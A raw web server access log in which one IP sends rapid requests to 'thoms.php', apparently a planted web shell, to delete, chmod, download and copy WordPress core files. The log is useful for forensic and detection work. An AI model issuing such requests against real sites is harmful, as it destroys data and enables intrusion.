45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=link-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?del=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?chmod=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?dl=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?del=block-patterns&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=block-patterns&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?chmod=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22246 "https://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?chmod=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22198 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmeta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmeta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?dl=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmeta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=blocks.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?del=customize&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=customize&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22203 "https://163.245.207.76:443/thoms.php?del=customize&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?del=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22281 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?del=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?del=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?chmod=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?chmod=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22161 "https://163.245.207.76:443/thoms.php?chmod=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?dl=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?dl=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?chmod=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22265 "https://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22241 "https://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22192 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?del=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22264 "https://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
